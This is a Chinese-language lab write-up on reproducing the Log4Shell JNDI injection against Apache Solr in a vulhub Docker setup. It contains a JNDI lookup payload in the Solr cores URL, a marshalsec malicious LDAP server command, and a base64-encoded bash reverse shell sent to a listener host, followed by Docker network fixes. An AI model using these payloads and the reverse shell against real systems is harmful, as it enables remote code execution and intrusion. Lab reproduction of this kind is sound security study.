环境介绍
192.168.15.166使用docker搭建漏洞复现环境
192.168.15.129作为接收shell的主机
dnslog测试漏洞是否存在
192.168.15.166:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.thlpcl.dnslog.cn}
会回显版本1.8.0 存在jndi注入漏洞
getshell
有两种方法去写反弹shell
手动构造ladp服务器
编写.java代码构造恶意类
再javac编译成.class文件
把.class文件放到http服务器
这里使用python
在存放.class文件的目录下执行命令
python -m http.server 4444
使用mvn命令清理项目并打包构建成果( Maven 会根据pom.xml文件这些定义自动下载并管理依赖 )同时跳过测试阶段
mvn clean package -DskipTests
执行完就多了一个target目录
里面有标红的两个jar文件即可
使用该命令模拟一个恶意的 LDAP 服务器,监听端口 1389。当目标系统尝试通过 LDAP 获取对象时,它会指向提供的 URL (http://192.168.15.166:4444/#Exploit
)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.15.166:4444/#Exploit" 1389
然后再去访问
http://192.168.15.166:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.166:1389/Exploit}
执行成功就会反弹shell
JNDI注入工具
安装地址:GitHub - sayers522/JNDI-Injection-Exploit: JNDI命令注入利用
mvn clean package -DskipTests
(maven生成.jar可执行文件,在pom.xml目录下运行)
生成后会多出一个target目录 里面有这两个红色文件就行
写反弹shell
使用Runtime.exec Payload Generater | AresX's Blog (ares-x.com)网站
对反弹shell进行base64编码
在该目录下执行命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOS84ODg4IDA+JjEnCg==}|{base64,-d}|{bash,-i}" -A "192.168.15.166"
执行后会有rmi ladp的服务站点
然后去另一台主机(充当接收shell的主机192.168.15.129)执行监听本地的8888端口
去访问存在jndi注入的漏洞点
这边就会收到日志
同时接收shell的主机也会得到会话 成功getshell
遇到的问题
反弹shell不成功
如果你的docker容器使用的网段(例如 172.x.x.x
)与主机的网段(192.168.15.0/24
)不同 那么在本地复现就不能够成功反弹shell
解决办法就是将docker容器使用的网段直接使用主机网络 可以使用 host
网络模式 此模式下,容器与主机共享网络命名空间,容器中的应用程序可以直接使用主机的 IP 地址和网络接口
先停止
docker-compose down
然后需要去修改docker-compose.yml文件
这里 由于使用了 host
网络模式 容器将直接使用主机的网络接口。容器内的服务将直接在主机的网络接口上提供服务,无需通过 Docker 端口映射
所以把端口配置注释掉即可
version: '2'
services:
solr:
image: vulhub/solr:8.11.0
network_mode: host
# 删除 ports 配置
# ports:
# - "8983:8983"
# - "5005:5005"
再重新启动即可
docker-compose up -d
后面去访问就是192.168.15.166了
mvn执行报错
如果在执行mvn有报错
mvn clean package -DskipTests
就重新执行几遍